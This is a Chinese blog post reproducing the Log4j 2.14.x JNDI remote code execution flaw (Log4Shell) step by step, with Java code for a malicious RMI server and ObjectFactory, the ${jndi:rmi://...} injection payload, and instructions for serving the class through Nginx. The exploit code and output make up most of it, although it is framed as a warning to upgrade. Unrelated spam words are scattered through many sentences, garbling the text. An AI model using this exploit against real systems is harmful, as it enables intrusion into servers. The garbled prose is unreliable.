大家好,冰河我是连夜冰河~~ 周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的复现项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的最新2.14.0版本,这个版本存在重大漏洞啊!史诗 但是大漏洞有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的冰河Log4j一直是2.14.0这个版本啊,模板下载一直没啥问题啊!连夜” 。复现哎,最新看来有些小伙伴对Log4j2.14.0版本存在的史诗漏洞还是不太了解呀 ! 本文总览
漏洞背景相信有不少小伙伴都还记得在2021年12月份发布的大漏洞Log4j(2.14.1及以下版本)重大漏洞,这个漏洞主要是冰河利用Log4j支持的JNDI技术在服务器上执行任意代码 。并且此漏洞的连夜安全威胁巨大。官方给出的复现评估如下。 公开程度 :漏洞细节已公开。亿华云利用条件 :无权限要求。交互要求:0 click 。漏洞危害 :高危 、远程代码执行 。影响范围 :Log4j2.x <= 2.14.1 。以上评估来自:https://x.threatbook.cn/v5/article?threatInfoID=10470。 这个漏洞非常非常严重,但是有些小伙伴还在不以为然,今天 ,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后 ,尽快升级项目中所适用的Log4j版本 。免费模板 另外,就像我写的《冰河的渗透实战笔记》中描述的那样 ,骇客和骇客有着本质的区别,本文会模拟骇客利用Log4j漏洞入侵服务器的整个过程。对渗透感兴趣的小伙伴可以在 冰河技术 公号回复 渗透笔记 获取《冰河的渗透实战笔记》电子书。 重现Log4j重大漏洞为了重现Log4j的重大漏洞,我在IDEA中创建了一个Maven项目log4j-demo,如下所示。建站模板
其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例 。后续为了更好的演示真实的环境效果,我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。 其中,大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务 ,而log4j-website模拟的是源码库一个远程站点 ,也就是将要被入侵的服务器。在本文中会有详细的场景介绍 。 总体项目依赖打开log4j-demo(Maven父工程)的pom.xml文件 ,如下所示 。 复制<modules> <module>log4j-rmi</module> <module>log4j-website</module> <module>log4j-all</module> </modules> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.6.1</version> <configuration> <source>1.8</source> <target>1.8</target> </configuration> </plugin> </plugins> </build>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.可以看到 ,在log4j-demo(Maven父工程)的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j,并没有其他多余的源码下载Maven依赖。 重现log4j-all漏洞这里,我们首先以log4j-all模块为例,重现Log4j最新重大漏洞 。 log4j-all整体说明log4j-all模块整体的代码情况如下所示。
如上图所示: io.binghe.log4j.rmi包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。io.binghe.log4j包下的Log4jDemo类模拟的是远程站点。log4j2.xml:Log4j的日志配置文件。Log4j日志配置首先看下log4j-all模块下resources目录下的log4j2.xml文件,如下所示。 复制<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{ HH:mm:ss.SSS} [%t] %-5level %logger{ 36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>1.2.3.4.5.6.7.8.9.10.11.12.13.可以看到 ,模块下对于Log4j的配置也比较简单 ,主要就是配置了一个info级别的日志输出 ,并且是输出到控制台。 模拟远程站点代码解析(1)查看io.binghe.log4j.Log4jDemo类的代码,如下所示。 复制/** * @author binghe (公众号 :冰河技术) * @version 1.0.0 * @description Log4j漏洞示例 */public class Log4jDemo{ private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args){ try{ String str = "binghe"; LOGGER.info("输出的信息是:{ }", str); }catch (Exception e){ } } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.相信不少小伙伴在使用Log4j时 ,会按照上面的方式打印日志 。也就是使用Log4j打印日志的{ }占位符,后面再跟上要打印的参数 。运行下上面的代码,输出的日志如下所示 。 复制10:45:07.560 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:binghe1.可以看到,正确输出了日志信息输出的信息是:binghe 。 (2)修改io.binghe.log4j.Log4jDemo类的代码中的str字符串变量,将其修改成如下所示 。 复制String str = "${ java:os}";1.这里,我们将str字符串变量的值由原理的binghe修改为${ java:os},我们先不管${ java:os}是个什么鬼 ,继续运行io.binghe.log4j.Log4jDemo类 ,看看输出的日志信息是${ java:os} ,还是别的什么鬼玩意儿,运行后输出的结果信息如下所示。 复制10:48:18.977 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-641.看到没,输出的信息不是${ java:os},而是我正在重现Log4j重大漏洞的电脑操作系统版本Windows 10 10.0, architecture: amd64-64。 我们继续将str字符串换成几个其他的变量值试试 ,如下所示。 将str字符串换成${ java:runtime} ,输出的结果信息如下所示 。 复制10:51:51.334 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation1.可以看到 ,输出的结果信息是当前Java的运行时环境Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation ,并不是${ java:runtime} 。 将str字符串换成${ java:vm},输出的结果信息如下所示 。 复制10:53:20.974 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)1.可以看到 ,输出的结果信息是Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode),并不是${ java:vm}。 看到这里 ,可能就会有小伙伴有疑问了,Log4j为哈会打印有关操作系统和Java的相关信息呢 ? 这其实都是Log4j支持JNDI的结果 ,有关Log4j支持JNDI的信息 ,小伙伴们可以参考如下链接,这里我就不再过多的赘述了。 复制https://logging.apache.org/log4j/2.x/manual/lookups.html1.在上面的示例中 ,我们演示的是Log4j支持的Java Lookup功能。
上述图片来自 :https://logging.apache.org/log4j/2.x/manual/lookups.html 。 模拟骇客本地进程代码解析(1)在io.binghe.log4j.rmi下存在这两个Java类 ,一个是RmiObj类,一个是RmiServer类 ,这两个类模拟的是在骇客本地运行的RMI服务。首先,来看下RmiObj的代码,如下所示 。 复制/** * @author binghe (公众号:冰河技术) * @version 1.0.0 * @description 模拟log4j的漏洞 */public class RmiObj implements ObjectFactory{ static{ System.out.println("执行代码"); //这里可以写任意代码 ,比如木马程序 ,病毒程序,死循环 ,后门程序等等 。 } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception{ return null; } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.可以看到 ,RmiObj类的代码比较简单,它实现了javax.naming.spi.ObjectFactory接口,但是并没有实现javax.naming.spi.ObjectFactory接口中的getObjectInstance()方法,在getObjectInstance()方法中直接返回null。 这里,重点是在RmiObj中写了一个静态代码块 ,如下所示。 复制static{ System.out.println("执行代码"); //这里可以写任意代码,比如木马程序 ,病毒程序,死循环,后门程序等等 。 }1.2.3.4.就是这个静态代码块,让骇客利用Log4j的远程代码执行漏洞 ,可以在远程服务器上做任何想要做的事情。 这里 ,我们只是在静态代码块中简单的打印了执行代码四个字 ,如果你的项目被骇客盯上了 ,或许就没我这么友善了 。 (2)接下来,看下io.binghe.log4j.rmi包下的RmiServer类 ,如下所示 。 复制/** * @author binghe (公众号 :冰河技术) * @version 1.0.0 * @description 模拟漏洞的RMIServer */public class RmiServer{ public static void main(String[] args){ try{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("RMI Listener 1099 port"); Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("test", referenceWrapper); }catch (Exception e){ e.printStackTrace(); } } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.RmiServer主要模拟的是在骇客本地运行的RMI进程 ,而且在log4j-all模块中io.binghe.log4j.rmi包下的RmiObj类和RmiServer都是在骇客本地的代码。 RmiServer类中的代码也是比较简单的 ,就是按照常规模式发了一个RMI服务。需要注意的是 ,在RmiServer类中使用Reference类加载了RmiObj类的代码,并且将RMI服务发布在1099端口上 ,路径是/test 。 启动重现漏洞程序(1)运行io.binghe.log4j.rmi.RmiServer类的main()方法骇客本地的RMI服务 ,启动后输出的日志信息如下所示 。 复制RMI Listener 1099 port1.(2)回到模拟远程站点的io.binghe.log4j.Log4jDemo代码,将其中的str字符串变量修改成如下所示。 复制String str = "${ jndi:rmi://192.168.0.106:1099/test}";1.其中,jndi:rmi://192.168.0.106:1099/test就是利用Log4j的JNDI技术连接远程RMI服务 ,其中的192.168.0.106表示我本机的IP地址 ,1099是启动RMI服务监听的端口号 ,test是发布RMI服务的根目录。 (3)启动io.binghe.log4j.Log4jDemo类的main()方法 ,输出了如下的日志信息 。 复制执行代码 11:38:22.380 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:${ jndi:rmi://192.168.0.106:1099/test}1.2.可以看到,在模拟远程站点的Log4jDemo输出的日志中,不仅打印除了Log4j的日志 ,还打印了在模拟骇客本地RMI服务的io.binghe.log4j.rmi.RmiObj类中的代码。 这意味着什么呢 ?意味着在远程服务器上执行了骇客本地的程序,而骇客是可以在自己本地的io.binghe.log4j.rmi.RmiObj类的静态代码块中写任意代码的 ,是不是很恐怖 ,这确实是Log4j的一个重大漏洞。 漏洞具体场景分析说到这里 ,可能有小伙伴不太理解上述代码的执行逻辑 。这里 ,我给大家举一个具体场景的示例 。 (1)一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类 ,并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码,比如木马程序 、病毒程序 、后门程序 ,死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务,而RmiServer启动时会加载RmiObj类,如下所示 。
(2)在远程站点的Web登录页面中的用户名文本框中输入了字符串${ jndi:rmi://192.168.0.106:1099/test},当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整 。点击登录按钮后模拟登录操作 ,就会将用户名${ jndi:rmi://192.168.0.106:1099/test}和乱写的密码发送到远程站点的后台 。
如果远程站点的后台在接收到用户名${ jndi:rmi://192.168.0.106:1099/test}和乱写的密码后 ,在没有做参数校验的情况下,直接利用Log4j按照如下方式 ,打印传递过来的用户名和密码 。 复制String username = request.getParameter("username"); String password = request.getParameter("password"); logger.info("用户名为 :{ }, 密码为:{ }", username, password);1.2.3.此时就会触发Log4j的重大漏洞,在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。 至此 ,我们分析完log4j-all模块了。 重现真实场景漏洞在log4j-all模块中,我们的所有程序都是在同一个代码模块中的,也就是都在同一个项目中 ,真实的环境是 :RMI服务运行在骇客的本地电脑或者自己的服务器上 ,而远程站点会运行在远程服务器上 。接下来 ,我们就开始模拟一个更加贴合真实环境的场景。 模拟真实场景项目说明为了模拟真实场景 ,这里,我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块,其中,log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务,而log4j-website模块模拟远程站点。 log4j-website模块代码分析在log-website模块中的代码比较简单 ,整体上在resources目录下有一个log4j2.xml文件 ,内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的io.binghe.log4j包中存在一个Log4jDemo类 ,代码也与log4j-all模块中的Log4jDemo类的代码基本相同(有稍许不同)。这里 ,为了模拟远程站点一般部署在远程服务器上 ,这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程 。log4j-website模块代码结构如下所示。
注意 :在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码 。 复制System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");1.2.好了,这就是在log-website模块下模拟的远程站点的Log4jDemo类。 log4j-rmi模块代码分析我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块 。log4j-rmi模块代码结构如下所示。
其中 ,RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类 ,如下所示 。 复制/** * @author binghe (公众号 :冰河技术) * @version 1.0.0 * @description 模拟漏洞的RMIServer */public class RmiServer{ public static void main(String[] args){ try{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); System.out.println("RMI Listener 1099 port"); Reference reference = new Reference("RmiObj", "RmiObj", null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("test", referenceWrapper); }catch (Exception e){ e.printStackTrace(); } } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.可以看到在log4j-rmi模块中的RmiServer类中,创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名,而这里传递的是简单类名。细心的读者应该已经发现了 ,我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下 ,并没有创建Java包 。 第一次运行程序模拟真实场景(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。 复制RMI Listener 1099 port1.说明RMI服务启动成功,并监听了1099端口。 (2)运行log4j-website模块下的Log4jDemo类 ,输出的日志信息如下所示。 复制12:44:23.021 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj1.可以看到,在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。 也就是说 ,远程站点不会执行骇客本地的代码,真实环境不存在这个漏洞 ?答案是非也 ,真实环境也存在远程代码执行漏洞 。 改造log4j-rmi模块代码(1)到链接http://nginx.org/en/download.html下载一个Nginx ,这里我下载的是Windows版本的Nginx,版本号是1.22.0 ,如下所示。
(2)将下载后的Nginx进行解压,这里,我将Nginx解压到我本地电脑的D盘下的Nginx/nginx-1.22.0目录下,如下所示。
(3)使用Maven编译log4j-demo整体功能,找到编译后的log4j-rmi模块下的target/classes目录下的RmiObj.class文件,如下所示 。
(4)将编译后的log4j-rmi模块下的target/classes目录下的RmiObj.class文件复制到Nginx的html目录下,如下所示。
复制后的效果如下所示 。
(5)双击Nginx目录下nginx.exe文件启动Nginx,如下所示。
(6)修改log4j-rmi模块下的RmiServer类的代码 ,将创建Reference对象时,调用Reference类的构造方法的第三个参数修改成http://127.0.0.1:80/,如下所示。 复制Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");1.上述代码表示创建Reference类时 ,加载了Nginx下的RmiObj.class文件中的RmiObj类。 至此,log4j-rmi模块的代码就改造完成了 。 第二次运行程序模拟真实场景(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息 。 复制RMI Listener 1099 port1.说明RMI服务启动成功,并监听了1099端口 。 (2)运行log4j-website模块下的Log4jDemo类 ,输出的日志信息如下所示 。 复制执行代码 13:04:22.542 [main] INFO io.binghe.log4j.Log4jDemo - 输出的信息是:${ jndi:rmi://192.168.0.106:1099/test}1.2.可以看到 ,这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息 ,而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。 至此,我们再次重现了Log4j的重大漏洞。 漏洞真实场景分析这里真实场景分析中,远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同,都是如下图所示。
而骇客本地RMI服务程序的执行流程稍有不同,这里的流程如下图所示。
理解起来也比较简单 ,这里 ,我就不再赘述了。 写在最后这次的Log4j远程代码执行漏洞威胁很大 ,不仅很多开源软件受其影响 ,而且还有很多服务器也深受其害。所以 ,各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1 ,那就尽快升级到更高版本的Log4j吧 ,升级Log4j刻不容缓,大家赶紧行动起来。 |